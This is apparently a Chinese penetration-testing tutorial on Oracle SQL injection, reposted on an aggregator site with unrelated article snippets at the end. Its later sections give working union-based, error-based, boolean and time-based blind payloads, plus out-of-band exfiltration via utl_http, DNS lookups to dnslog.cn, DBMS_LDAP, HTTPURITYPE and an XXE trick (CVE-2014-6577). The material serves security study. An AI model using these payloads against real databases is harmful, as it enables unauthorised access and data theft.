网络安全进阶学习第十五课——Oracle SQL注入

文章目录

  • 一、Oracle数据库介绍
  • 二、Oracle和MySQL的语法差异:
  • 三、Oracle的数据库结构
  • 四、Oracle的重点系统表
  • 五、Oracle权限分类
    • 1、系统权限
    • 2、实体权限
    • 3、管理角色
  • 六、oracle常用信息查询方法
  • 七、联合查询注入
    • 1、order by 猜字段数量
    • 2、查数据库版本和用户名
    • 3、查当前数据库
    • 4、查表
    • 5、查字段
  • 八、报错注入
  • 九、盲注
    • 1、布尔盲注
    • 2、时间盲注
  • 十、带外OOB
    • 1、需要出外网HTTP
    • 2、dns解析带外
    • 3、SYS.DBMS_LDAP.INIT
    • 4、HTTPURITYPE
    • 5、Oracle XXE (CVE-2014-6577)


一、Oracle数据库介绍

Oracle数据库系统是世界上流行的关系数据库管理系统,系统可移植性好、使用方便、功能强,适用于各类大、中、小微机环境。它是一种高效率的、可靠性好的、适应高吞吐量的数据库方案。

Oracle服务默认端口:1521

Oracle和MySQL数据库语法大致相同,结构不太相同。最大的一个特点就是oracle可以调用Java代码。

Oracle要求select … from 后必须要有查询的表名


二、Oracle和MySQL的语法差异:

  1. Oracle要求select后必须指明要查询的表名,可以用dual。

  2. Oracle使用 || 拼接字符串,MySQL中为或运算。
    在这里插入图片描述

  3. 单引号和双引号在Oracle中虽然都是字符串,但是双引号可以用来消除关键字,比如sysdate。

  4. Oracle中limit应该使用虚表中的rownum字段通过where条件判断。
    在这里插入图片描述

  5. Oracle中没有空字符,'‘和’null’都是null,而MySQL中认为’'仍然是一个字符串。

  6. Oracle对数据格式要求严格,比如union select的时候


三、Oracle的数据库结构

对于“数据库”这个概念而言,Oracle采用了”表空间“的定义。数据文件就是由多个表空间组成的,这些数据文件和相关文件形成一个完整的数据库。

当数据库创建时,Oracle 会默认创建五个库:SYSTEM、SYSAUX、USERS、UNDOTBS、TEMP:

  1. SYSTEM:这个用于是存储系统表和管理配置等基本信息
  2. SYSAUX:类似于 SYSTEM,主要存放一些系统附加信息,以便减轻 SYSTEM 的空间负担
  3. UNDOTBS:用于事务回退等
  4. TEMP:作为缓存空间减少内存负担
  5. USERS:就是存储我们定义的表和数据

在Oracle中每个库中均存在一张dual表,这个表是虚表,并没有实际的存储意义,它永远只存储一条数据,因为Oracle的SQL语法要求select后必须跟上from,所以我们通常使用dual来作为计算、查询时间等SQL语句中from之后的虚表占位。举例:select 1+1 from dual。

Oracle要求select后必须指明要查询的表名,可以用dual。


四、Oracle的重点系统表

  • – dba_tables : 系统里所有的表的信息,需要DBA权限才能查询
  • – all_tables : 当前用户有权限的表的信息
  • – user_tables: 当前用户名下的表的信息
  • – DBA_ALL_TABLES:DBA 用户所拥有的或有访问权限的对象和表
  • – ALL_ALL_TABLES:某一用户拥有的或有访问权限的对象和表
  • – USER_ALL_TABLES:某一用户所拥有的对象和表

五、Oracle权限分类

在Oracle中,根据系统管理方式不同,将Oracle权限分为系统权限与实体权限两类。系统权限是指是否被授权用户可以连接到数据库上,在数据库中可以进行哪些系统操作。而实体权限是指用户对具体的模式实体(schema)所拥有的权限。

  • 系统权限:系统规定用户使用数据库的权限。(系统权限是对用户而言)。

  • 实体权限:某种权限用户对其它用户的表或视图的存取权限。(是针对表或视图而言的)。

1、系统权限

  • DBA:拥有全部特权,是系统最高权限,只有DBA才可以创建数据库结构。
  • RESOURCE:拥有Resource权限的用户只可以创建实体,不可以创建数据库结构。
  • CONNECT:拥有Connect权限的用户只可以登录Oracle,不可以创建实体,不可以创建数据库结构。

对于普通用户:授予connect, resource权限。

对于DBA管理用户:授予connect,resource, dba权限。

系统权限授权命令: 
系统权限只能由DBA用户授出:sys, system(最开始只能是这两个用户) 授权命令:
SQL> grant connect, resource, dba to 用户名1 [,用户名2]; 
注:普通用户通过授权可以具有与system相同的用户权限,但永远不能达到与sys用户相同的权限,system用户的权限也可以被回收。 例: 
SQL> connect system/manager SQL> Create user user50 identified by user50; SQL> grant connect, resource to user50;查询用户拥有哪里权限: 
SQL> select from dba_role_privs; SQL> select from dba_sys_privs; SQL> select * from role_sys_privs;查自己拥有哪些系统权限:
SQL> select * from session_privs;删除用户:
SQL> drop user 用户名 cascade; //加上cascade则将用户连同其创建的东西全部删除系统权限传递:增加WITH ADMIN OPTION选项,则得到的权限可以传递。 
SQL> grant connect, resorce to user50 with admin option; //可以传递所获权限。系统权限回收:系统权限只能由DBA用户回收
SQL> Revoke connect, resource from user50;说明: 
1)如果使用WITH ADMIN OPTION为某个用户授予系统权限,那么对于被这个用户授予相同权限的所有用户来说,取消该用户的系统权限并不会级联取消这些用户的相同权限。 
2)系统权限无级联,即A授予B权限,B授予C权限,如果A收回B的权限,C的权限不受影响;系统权限可以跨用户回收,即A可以直接收回C用户的权限。

2、实体权限

  • select, update, insert, alter, index, delete, all
    #all包括所有权限
  • execute
    #执行存储过程权限
user01: 
SQL> grant select, update, insert on product to user02; 
SQL> grant all on product to user02;user02: 
SQL> select * from user01.product; 
// 此时user02查user_tables,不包括user01.product这个表,但如果查all_tables则可以查到,因为他可以访问。将表的操作权限授予全体用户:
SQL> grant all on product to public; 
// public表示是所有的用户,这里的all权限不包括drop。实体权限数据字典:
SQL> select owner, table_name from all_tables; // 用户可以查询的表 
SQL> select table_name from user_tables; // 用户创建的表 
SQL> select grantor, table_schema, table_name, privilege from all_tab_privs; // 获权可以存取的表(被授权的) 
SQL> select grantee, owner, table_name, privilege from user_tab_privs; // 授出权限的表(授出的权限)DBA用户可以操作全体用户的任意基表(无需授权,包括删除):DBA用户: 
SQL> Create table stud02.product( id number(10), name varchar2(20)); 
SQL> drop table stud02.emp;SQL> create table stud02.employee as select * from scott.emp;实体权限传递(with grant option):
user01: SQL> grant select, update on product to user02 with grant option; 
// user02得到权限,并可以传递。实体权限回收:
user01: 
SQL>Revoke select, update on product from user02; 
//传递的权限将全部丢失。说明:
如果取消某个用户的对象权限,那么对于这个用户使用WITH GRANT OPTION授予权限的用户来说,同样还会取消这些用户的相同权限,也就是说取消授权时级联的。

3、管理角色

建一个角色:
sql>create role role1;授权给角色:
sql>grant create any table,create procedure to role1;授予角色给用户:
sql>grant role1 to user1;查看角色所包含的权限:
sql>select * from role_sys_privs;创建带有口令以角色(在生效带有口令的角色时必须提供口令)sql>create role role1 identified by password1;修改角色:是否需要口令
sql>alter role role1 not identified; 
sql>alter role role1 identified by password1;设置当前用户要生效的角色 (注:角色的生效是一个什么概念呢?假设用户a有b1,b2,b3三个角色,
那么如果b1未生效,则b1所包含的权限对于a来讲是不拥有的,
只有角色生效了,角色内的权限才作用于用户,
最大可生效角色数由参数MAX_ENABLED_ROLES设定;
在用户登录后,oracle将所有直接赋给用户的权限和用户默认角色中的权限赋给用户。) sql>set role role1; //使role1生效 
sql>set role role,role2; //使role1,role2生效 
sql>set role role1 identified by password1; //使用带有口令的role1生效 
sql>set role all; //使用该用户的所有角色生效 
sql>set role none; //设置所有角色失效 
sql>set role all except role1; //除role1外的该用户的所有其它角色生效。 
sql>select * from SESSION_ROLES; //查看当前用户的生效的角色。修改指定用户,设置其默认角色
sql>alter user user1 default role role1;
sql>alter user user1 default role all except role1;删除角色 
sql>drop role role1;角色删除后,原来拥用该角色的用户就不再拥有该角色了,相应的权限也就没有了。说明: 
1)无法使用WITH GRANT OPTION为角色授予对象权限 
2)可以使用WITH ADMIN OPTION 为角色授予系统权限,取消时不是级联

六、oracle常用信息查询方法

1、获取数据库版本信息

SELECT banner FROM v$version WHERE banner LIKE 'Oracle%25';

2、获取操作系统版本信息

SELECT banner FROM v$version WHERE banner LIKE 'TNS%25';

3、获取当前数据库

SELECT name FROM v$database;

4、获取数据库用户

SELECT user FROM dual;

5、获取所有数据库用户

SELECT username FROM all_users;
SELECT name FROM sys.user$; -- 需要高权限

6、获取当前用户权限

SELECT * FROM session_privs;

7、获取当前用户有权限的所有数据库

SELECT DISTINCT owner, table_name FROM all_tables;

8、获取表,all_tables类似于MySQL中的information_schema.tables

SELECT * FROM all_tables;

9、获取字段名

SELECT column_name FROM all_tab_columns;

10、在Oracle启动时,在 userenv 中存储了一些系统上下文信息,通过 SYS_CONTEXT 函数,我们可以取回相应的参数值。包括当前用户名等等。

SELECT SYS_CONTEXT('USERENV''SESSION_USER'from dual;

七、联合查询注入

1、order by 猜字段数量

union select进行查询,需要注意的是每一个字段都需要对应前面select的数据类型(字符串/数字)。所以我们一般先使用null字符占位,然后逐位判断每个字段的类型,举例:

?username=admin' union select null,null,null from dual --+ 正常
?username=admin' union select 1,null,null from dual --+ 正常说明第一个字段是数字型
?username=admin' union select 1,2,null from dual --+ 第二个字段为数字时错误
?username=admin' union select 1,'asd',null from dual --+ 正常,就为字符串 依此类推

2、查数据库版本和用户名

?username=admin' union select 1,(select user from dual),(SELECT banner FROM v$version where banner like 'Oracle%25') from dual --+

3、查当前数据库

?username=admin' union select 1,(SELECT global_name FROM global_name),null from dual --+

4、查表

wmsys.wm_concat()等同于MySQL中的group_concat(),在11gr2和12C上已经抛弃,可以用LISTAGG()替代

但是LISTAGG()返回的是varchar类型,如果数据表很多会出现字符串长度过长的问题。这个时候可以使用通过字符串截取来进行。

?username=admin' union select 1,(select LISTAGG(table_name,',')within group(order by owner)name from all_tables where owner='SYSTEM'),null from dual --+

5、查字段

?username=admin' union select 1,(select column_name from all_tab_columns where table_name='TEST' and rownum=2),null from dual --

八、报错注入

报错注入常用函数:
1、utl_inaddr.get_host_name

select utl_inaddr.get_host_name((select user from dual)) from dual;

11g之后,使用此函数的数据库用户需要有访问网络的权限

2、ctxsys.drithsx.sn

select ctxsys.drithsx.sn(1, (select user from dual)) from dual;

处理文本的函数,参数错误时会报错。

3、CTXSYS.CTX_REPORT.TOKEN_TYPE

select CTXSYS.CTX_REPORT.TOKEN_TYPE((select user from dual), '123') from dual;

4、XMLType

?username=admin' and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null --+

注意url编码,如果返回的数据有空格的话,它会自动截断,导致数据不完整,这种情况下先转为 hex,再导出。

5、dbms_xdb_version.checkin

select dbms_xdb_version.checkin((select user from dual)) from dual;

6、dbms_xdb_version.makeversioned

select dbms_xdb_version.makeversioned((select user from dual)) from dual;

7、dbms_xdb_version.uncheckout

select dbms_xdb_version.uncheckout((select user from dual)) from dual;

8、dbms_utility.sqlid_to_sqlhash

SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual;

9、ordsys.ord_dicom.getmappingxpath

select ordsys.ord_dicom.getmappingxpath((select user from dual), 1, 1) from dual;

10、UTL_INADDR.get_host_name

select UTL_INADDR.get_host_name((select user from dual)) from dual;

11、UTL_INADDR.get_host_address

select UTL_INADDR.get_host_name('~'||(select user from dual)||'~') from dual;

九、盲注

1、布尔盲注

使用简单的字符串比较来进行,比如:

?username=admin' and (select substr(user, 1, 1) from dual)='S' --

通过decode配合除数为0来进行布尔盲注,比如:

?username=admin' and 1=(select decode(substr(user, 1, 1), 'S', (1/1),0) from dual) --+

2、时间盲注

时间延迟函数:DBMS_PIPE.RECEIVE_MESSAGE()函数
dbms_pipe.receive_message(‘RDS’, 10) #将为从RDS管道返回的数据等待10秒。

select 1 from dual where DBMS_PIPE.RECEIVE_MESSAGE('asd', REPLACE((SELECT substr(user, 1, 1) FROM dual), 'S', 10))=1;

还可以配合decode:

select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',10),0) from dual;

十、带外OOB

类似于MySQL load_file的带外盲注。OOB 都需要发起网络请求的权限,有限制。

1、需要出外网HTTP

使用函数:utl_http.request()

select utl_http.request('http://localhost:8080/index?username=' || (select user from dual)) from dual;

2、dns解析带外

使用函数:utl_inaddr.get_host_address

select utl_inaddr.get_host_address((select user from dual)||'.cbb1ya.dnslog.cn') from dual;

3、SYS.DBMS_LDAP.INIT

SELECT DBMS_LDAP.INIT((select user from dual)||'.24wypw.dnslog.cn',80) FROM DUAL;

这个函数在 10g/11g 中是 public 权限

4、HTTPURITYPE

SELECT HTTPURITYPE((select user from dual)||'.24wypw.dnslog.cn').GETCLOB() FROM DUAL;

5、Oracle XXE (CVE-2014-6577)

说是xxe,实际上应该算是利用xml的加载外部文档来进行数据带外。支持http和ftp

  1. http
select 1 from dual where 1=(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://192.168.124.1/'||(SELECT user from dual)||'"> %remote;]>'),'/l') from dual); 
  1. ftp
select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "ftp://'||user||':bar@IP/test"> %remote; %param1;]>'),'/l') from dual;

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/32637.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【框架类】—Vue3的生命周期

一、生命周期的相关函数 onBeforeMount 页面渲染之前 和 onMounted渲染之后 示例 <template><div class"test"><div ref"el">组件初始化</div></div> </template> <script> //按需引入所需方法 import { ref,…

Android Camera预览画面变形问题

csdn 问题 安卓camera1在预览时&#xff0c;预览画面看起来被拉伸了&#xff0e; 如图&#xff0c;圆形的盖子&#xff0c;变成椭圆形了&#xff0e; 代码 默认流程&#xff0c;如下为大致的打开摄像头并进行预览显示的代码 private Camera mCamera null; private Surfa…

一文盘点 Zebec 生态的几个利好预期

Zebec Protocol 是目前商业进展最快的流支付体系&#xff0c;也是推动流支付向 Web2 世界发展的主要生态。目前&#xff0c;其已经与包括 Visa、Master 等支付巨头展开了合作&#xff0c;以推出银行卡的方式进一步向金融发达地区推出 Zebec Card 以拓展业务&#xff0c;前不久其…

Docker安装 Kibana

目录 前言安装Kibana步骤1&#xff1a;准备1. 安装docker2. 搜索可以使用的镜像。3. 也可从docker hub上搜索镜像。4. 选择合适的redis镜像。 步骤2&#xff1a;拉取 kibana 镜像拉取镜像查看已拉取的镜像 步骤3&#xff1a;创建容器创建容器方式1&#xff1a;快速创建容器 步骤…

1.物联网IWIP网络

一。以太网 1.nc模拟UDP &#xff08;1&#xff09;COMMBOX通信调试工具 &#xff08;2&#xff09; 控制台输入nc -u 127.0.0.1 8000,此时串口也可以获得数据 &#xff08;3&#xff09;串口调试程序发送字符串&#xff0c;电脑控制台也会展示同样字符串&#xff08;说明UDP…

Java基础篇--运算符

目录 算术运算符 赋值运算符 比较运算符 逻辑运算符 条件运算符&#xff08;?:&#xff09; instanceof 运算符 Java运算符优先级 在程序中经常出现一些特殊符号&#xff0c;如、-、*、、>等&#xff0c;这些特殊符号称作运算符。运算符用于对数据进行算术运算、赋值…

39 printf 的输出到设备层的调试

前言 在前面 printf 的调试 我们只是调试到了 glibc 调用系统调用, 封装了参数 stdout, 带输出的字符缓冲, 以及待输出字符长度 然后内核这边 只是到了 write 的系统调用, 并未向下细看 我们这里 稍微向下 细追一下, 看看 到达设备层面 这里是怎么具体的 impl 的 测试用例…

利用logstash将graylog日志传输到kafka中

1.graylog配置输出 在System-outputs&#xff0c;选择GELF Output&#xff0c;填写如下内容&#xff0c;其它选项默认 在要输出的Stream中&#xff0c;选择Manage Outputs 选择GELF Output&#xff0c;右边选择刚才创建好的test。 2.安装logstash&#xff0c;作为中间临时…

《Java-SE-第三十四章》之Optional

前言 在你立足处深挖下去,就会有泉水涌出!别管蒙昧者们叫嚷:“下边永远是地狱!” 博客主页&#xff1a;KC老衲爱尼姑的博客主页 博主的github&#xff0c;平常所写代码皆在于此 共勉&#xff1a;talk is cheap, show me the code 作者是爪哇岛的新手&#xff0c;水平很有限&…

C#小轮子:Visual Studio自动编译Sass文件

文章目录 前言插件安装插件使用compilerconfig.jsonsass输入和css输出&#xff08;自动生成&#xff09;默认配置&#xff08;我不懂就不去动他了&#xff09; 前言 我们知道css文件用起来太麻烦&#xff0c;如果样式一多&#xff0c;嵌套起来用css样式就眼花缭乱。Sass使用层…

Kafka的下载和安装

一、Kafka下载和安装 下载地址&#xff1a;https://kafka.apache.org/downloads 下载完毕解压即可 linux解压命令tar -zxvf kafka_2.13-3.5.1.tgz&#xff0c;linux环境下指令是在\kafka_2.13-3.5.1\bin目录。 windows直接解压即可&#xff0c;windows环境下指令是在kafka_2.…

强化学习-信任区域策略优化和近端策略优化(第7章)

来源书籍&#xff1a; TENSORFLOW REINFORCEMENT LEARNING QUICK START GUIDE 《TensorFlow强化学习快速入门指南-使用Python动手搭建自学习的智能体》 著者&#xff1a;[美]考希克巴拉克里希南&#xff08;Kaushik Balakrishnan&#xff09; 译者&#xff1a;赵卫东 出版…

Rust 编程小技巧摘选(7)

目录 Rust 编程小技巧(7) 1. 交换变量 2. 翻转数组 3. for_each() 用法 4. 结构体 Display trait 5. HashMap 和 BTreeMap 6. 遍历输出哈希表 7. 分离奇数和偶数 8. 判断素数&#xff08;质数&#xff09; Rust 编程小技巧(7) 1. 交换变量 与python, go等语言用法类…

计算机网络:网络字节序

目录 一、字节序1.字节序概念2.字节序的理解&#xff08;1&#xff09;大端模式存储数据&#xff08;2&#xff09;小端模式存储数据 二、网络字节序 一、字节序 1.字节序概念 字节序&#xff1a;内存中存储多字节数据的顺序。 难道存储数据还要看顺序吗&#xff1f; yes。内…

【将回声引入信号中】在语音或音频文件中引入混响或简单回声,以研究回声延迟和回波幅度对生成的回波信号感知的影响(Matlab代码实现)

&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜密&#xff0c;逻辑清晰&#xff0c;为了方便读者。 ⛳️座右铭&a…

Java 正则表达式【匹配与分组基本原理】

简介 我们一般使用正则表达式是用来处理字符串的&#xff0c;不管是实际的开发中还是我们的算法竞赛中&#xff0c;使用正则表达式绝对可以大大提升我们的效率。 正则表达式&#xff08;regular expression&#xff09;其实就是对字符串进行模式匹配的技术。 快速入门 我们这里…

第三篇|金融人数据来源有哪些

数据对于金融行业真的很重要&#xff0c;那么金融人有哪些途径查数据呢&#xff1f; 国内&#xff1a; 1. 国家统计局 这个应该是无论什么行业都使用最频繁的网站&#xff0c;每个月都会固定发上个月资产投资数据 、工业增加值和利润数据等常规数据&#xff0c;其他数据也会…

什么是分布式系统,如何学习分布式系统

正文 虽然本人在前面也写过好几篇分布式系统相关的文章&#xff0c;主要包CAP理论&#xff0c;分布式储存与分布式事务&#xff0c;但对于分布式系统&#xff0c;并没有一个跟清晰的概念。分布式系统涉及到很多的技术、理论与协议&#xff0c;很多人也说&#xff0c;分布式系统…

Docker 安装和架构说明

Docker 并非是一个通用的容器工具&#xff0c;它依赖于已存在并运行的Linux内核环境。 Docker实质上是在已经运行的Liunx下制造了一个隔离的文件环境&#xff0c;因此他的执行效率几乎等同于所部署的linux主机。因此Docker必须部署在Linux内核系统上。如果其他系统想部署Docke…

hutool 导出复杂表头excel

假如已这样的表头导出数据 1.把包含表头的excel添加到项目资源目录 2.编写代码读取表头所在sheet,并且加入需导出的数据 /*** 导出excel*/public static void downloadExcel(List<List<Object>> list, HttpServletResponse response) throws IOException {/*Strin…